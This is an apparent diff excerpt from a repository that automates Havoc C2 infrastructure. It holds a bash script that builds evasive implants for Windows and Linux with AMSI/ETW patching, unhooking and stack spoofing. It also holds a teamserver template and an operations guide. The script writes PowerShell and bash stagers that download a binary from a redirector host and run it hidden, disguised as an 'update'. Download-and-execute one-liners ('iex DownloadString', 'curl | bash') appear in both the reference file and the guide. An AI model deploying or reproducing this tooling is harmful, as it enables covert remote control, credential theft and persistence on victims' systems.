"Demon": {
|
||||||
|
"Sleep": 5,
|
||||||
|
"SleepJitter": 30,
|
||||||
|
"IndirectSyscalls": true,
|
||||||
|
"Inject": {
|
||||||
|
"AllocationMethod": 0,
|
||||||
|
"ExecutionMethod": 0,
|
||||||
|
"ExecuteOptions": 0
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"StackSpoofing": true,
|
||||||
|
"SleazeUnhook": true,
|
||||||
|
"AmsiEtwPatching": true
|
||||||
|
},
|
||||||
|
"Formats": [
|
||||||
|
"Binary",
|
||||||
|
"Shellcode"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Profile for Linux ELF
|
||||||
|
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": 5,
|
||||||
|
"SleepJitter": 30,
|
||||||
|
"Injection": {
|
||||||
|
"SpawnMethod": 1,
|
||||||
|
"AllocationMethod": 1
|
||||||
|
},
|
||||||
|
"Formats": [
|
||||||
|
"Binary",
|
||||||
|
"Shellcode"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Profiles created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate Havoc payloads with CLI arguments
|
||||||
|
generate_payloads() {
|
||||||
|
echo "[+] Generating Havoc payloads..."
|
||||||
|
|
||||||
|
# Windows EXE
|
||||||
|
win_output="agent_win_$(random_string 8).exe"
|
||||||
|
echo "[+] Generating Windows payload: $win_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||||
|
--format exe \
|
||||||
|
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Windows DLL
|
||||||
|
dll_output="module_$(random_string 8).dll"
|
||||||
|
echo "[+] Generating Windows DLL: $dll_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||||
|
--format dll \
|
||||||
|
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Linux ELF
|
||||||
|
linux_output="agent_linux_$(random_string 8)"
|
||||||
|
echo "[+] Generating Linux payload: $linux_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||||
|
--format elf \
|
||||||
|
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
echo "[+] All payloads generated successfully!"
|
||||||
|
|
||||||
|
# Return payload names for reference
|
||||||
|
echo "$win_output:$dll_output:$linux_output"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate PowerShell and bash stagers
|
||||||
|
generate_stagers() {
|
||||||
|
win_output=$1
|
||||||
|
linux_output=$2
|
||||||
|
|
||||||
|
echo "[+] Generating stagers..."
|
||||||
|
|
||||||
|
# PowerShell stager
|
||||||
|
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||||
|
# PowerShell stager for Havoc C2
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
\$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
\$wc = New-Object System.Net.WebClient
|
||||||
|
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||||
|
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||||
|
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||||
|
try {
|
||||||
|
\$wc.DownloadFile(\$url, \$outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Bash stager
|
||||||
|
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||||
|
#!/bin/bash
|
||||||
|
# Linux download and execute Havoc beacon
|
||||||
|
|
||||||
|
# Download binary to /tmp with random name
|
||||||
|
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||||
|
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||||
|
chmod +x \$TMPFILE
|
||||||
|
|
||||||
|
# Execute in background
|
||||||
|
\$TMPFILE &
|
||||||
|
|
||||||
|
echo "Update complete."
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||||
|
|
||||||
|
echo "[+] Stagers generated successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create manifest file
|
||||||
|
create_manifest() {
|
||||||
|
payload_info=$1
|
||||||
|
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||||
|
{
|
||||||
|
"windows_exe": "$win_output",
|
||||||
|
"windows_dll": "$dll_output",
|
||||||
|
"linux_binary": "$linux_output",
|
||||||
|
"redirector_host": "$REDIRECTOR_HOST",
|
||||||
|
"redirector_port": "$REDIRECTOR_PORT",
|
||||||
|
"c2_host": "$C2_HOST",
|
||||||
|
"generated_date": "$(date)"
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Manifest created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create reference file
|
||||||
|
create_reference() {
|
||||||
|
payload_info=$1
|
||||||
|
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||||
|
Havoc C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
|
||||||
|
Payloads Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output
|
||||||
|
- Windows DLL: $dll_output
|
||||||
|
- Linux Binary: $linux_output
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||||
|
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||||
|
3. Test connectivity before deployment in target environment
|
||||||
|
|
||||||
|
Payload deployment:
|
||||||
|
- PowerShell:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||||
|
|
||||||
|
- Linux:
|
||||||
|
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Reference file created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution flow
|
||||||
|
echo "[+] Starting Havoc C2 payload generation..."
|
||||||
|
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 Host: $C2_HOST"
|
||||||
|
|
||||||
|
# Create stagers directory
|
||||||
|
mkdir -p $PAYLOADS_DIR/stagers
|
||||||
|
|
||||||
|
# Generate profiles
|
||||||
|
generate_profiles
|
||||||
|
|
||||||
|
# Generate payloads
|
||||||
|
payload_info=$(generate_payloads)
|
||||||
|
|
||||||
|
# Generate stagers
|
||||||
|
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
# Create manifest
|
||||||
|
create_manifest "$payload_info"
|
||||||
|
|
||||||
|
# Create reference
|
||||||
|
create_reference "$payload_info"
|
||||||
|
|
||||||
|
echo "[+] Havoc payload generation complete!"
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
Teamserver {
|
||||||
|
Host = "0.0.0.0"
|
||||||
|
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
|
||||||
|
Build {
|
||||||
|
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Nasm = "/usr/bin/nasm"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Operators {
|
||||||
|
user "{{ havoc_admin_user | default('admin') }}" {
|
||||||
|
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||||
|
}
|
||||||
|
{% if havoc_operators is defined %}
|
||||||
|
{% for operator in havoc_operators %}
|
||||||
|
user "{{ operator.name }}" {
|
||||||
|
Password = "{{ operator.password }}"
|
||||||
|
}
|
||||||
|
{% endfor %}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
Listeners {
|
||||||
|
Http {
|
||||||
|
Name = "https"
|
||||||
|
Hosts = [
|
||||||
|
"{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
PortBind = {{ havoc_https_port | default(9443) }}
|
||||||
|
PortConn = {{ havoc_https_port | default(9443) }}
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||||
|
Headers = [
|
||||||
|
"Accept: */*",
|
||||||
|
"Accept-Language: en-US,en;q=0.9"
|
||||||
|
]
|
||||||
|
Uris = [
|
||||||
|
"/api/v2",
|
||||||
|
"/content",
|
||||||
|
"/static/css",
|
||||||
|
"/wp-content/plugins"
|
||||||
|
]
|
||||||
|
Response {
|
||||||
|
Headers = [
|
||||||
|
"Content-Type: application/json",
|
||||||
|
"Cache-Control: no-store, private",
|
||||||
|
"X-Content-Type-Options: nosniff"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
Secure = true
|
||||||
|
|
||||||
|
Cert {
|
||||||
|
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||||
|
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Demon {
|
||||||
|
Sleep = {{ havoc_sleep | default(5) }}
|
||||||
|
Jitter = {{ havoc_jitter | default(30) }}
|
||||||
|
|
||||||
|
Injection {
|
||||||
|
{% if havoc_spawn64 is defined %}
|
||||||
|
Spawn64 = "{{ havoc_spawn64 }}"
|
||||||
|
{% else %}
|
||||||
|
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_spawn32 is defined %}
|
||||||
|
Spawn32 = "{{ havoc_spawn32 }}"
|
||||||
|
{% else %}
|
||||||
|
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
HAVOC C2 OPERATIONS GUIDE
|
||||||
|
==========================
|
||||||
|
|
||||||
|
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||||
|
deployed on your infrastructure.
|
||||||
|
|
||||||
|
SERVER INFORMATION
|
||||||
|
-----------------
|
||||||
|
C2 Server IP: {{ c2_ip }}
|
||||||
|
Redirector Domain: {{ redirector_domain }}
|
||||||
|
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||||
|
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||||
|
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||||
|
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
CONNECTING TO THE TEAMSERVER
|
||||||
|
---------------------------
|
||||||
|
From your local machine:
|
||||||
|
|
||||||
|
1. Make sure Havoc client (dev branch) is installed:
|
||||||
|
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||||
|
$ cd Havoc/Client
|
||||||
|
$ mkdir build && cd build
|
||||||
|
$ cmake -GNinja ..
|
||||||
|
$ ninja
|
||||||
|
|
||||||
|
2. Connect to the Teamserver via GUI:
|
||||||
|
- Host: {{ c2_ip }}
|
||||||
|
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
- User: {{ havoc_admin_user | default('admin') }}
|
||||||
|
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
3. CLI Connection:
|
||||||
|
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||||
|
|
||||||
|
LISTENERS
|
||||||
|
--------
|
||||||
|
Two default listeners are configured:
|
||||||
|
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||||
|
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||||
|
|
||||||
|
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||||
|
|
||||||
|
GENERATING PAYLOADS
|
||||||
|
-----------------
|
||||||
|
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||||
|
|
||||||
|
To generate new payloads:
|
||||||
|
1. Connect to the Teamserver
|
||||||
|
2. Navigate to Attack → Payload
|
||||||
|
3. Select the listener (HTTPS recommended)
|
||||||
|
4. Choose architecture, format, and evasion options
|
||||||
|
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||||
|
|
||||||
|
PAYLOAD DELIVERY
|
||||||
|
--------------
|
||||||
|
PowerShell one-liner:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||||
|
|
||||||
|
Linux one-liner:
|
||||||
|
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||||
|
|
||||||
|
OPERATIONAL SECURITY
|
||||||
|
------------------
|
||||||
|
- All connections are routed through the redirector
|
||||||
|
- Payload customization includes:
|
||||||
|
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||||
|
* EDR unhooking techniques
|
||||||
|
* AMSI/ETW patching
|
||||||
|
* Indirect syscalls
|
||||||
|
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||||
|
|
||||||
|
ADVANCED FEATURES (DEV BRANCH)
|
||||||
|
----------------------------
|
||||||
|
- Enhanced memory scanner evasion
|
||||||
|
- PPID spoofing capabilities
|
||||||
|
- Reflective DLL loading improvements
|
||||||
|
- EDR hook detection and avoidance
|
||||||
|
- Process token manipulation
|
||||||
|
- Registry persistence options
|
||||||
|
|
||||||
|
POST-EXPLOITATION
|
||||||
|
---------------
|
||||||
|
For post-exploitation, Havoc offers:
|
||||||
|
|
||||||
|
1. BOF (Beacon Object Files) support
|
||||||
|
2. Integrated command & control modules
|
||||||
|
3. File system operations
|
||||||
|
4. Process injection & manipulation
|
||||||
|
5. Credential gathering capabilities
|
||||||
|
|
||||||
|
SERVER MANAGEMENT
|
||||||
|
---------------
|
||||||
|
- Havoc Teamserver service: systemctl status havoc
|
||||||
|
- Service configuration: /etc/systemd/system/havoc.service
|
||||||
|
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||||
|
|
||||||
|
TROUBLESHOOTING
|
||||||
|
--------------
|
||||||
|
1. Agent connection issues:
|
||||||
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||||
|
- Check nginx configuration on the redirector
|
||||||
|
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||||
|
|
||||||
|
2. Teamserver issues:
|
||||||
|
- Check service: systemctl status havoc
|
||||||
|
- View logs: journalctl -u havoc
|
||||||
|
- Restart if needed: systemctl restart havoc
|
||||||
|
|
||||||
|
3. Use Havoc client CLI debugging:
|
||||||
|
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user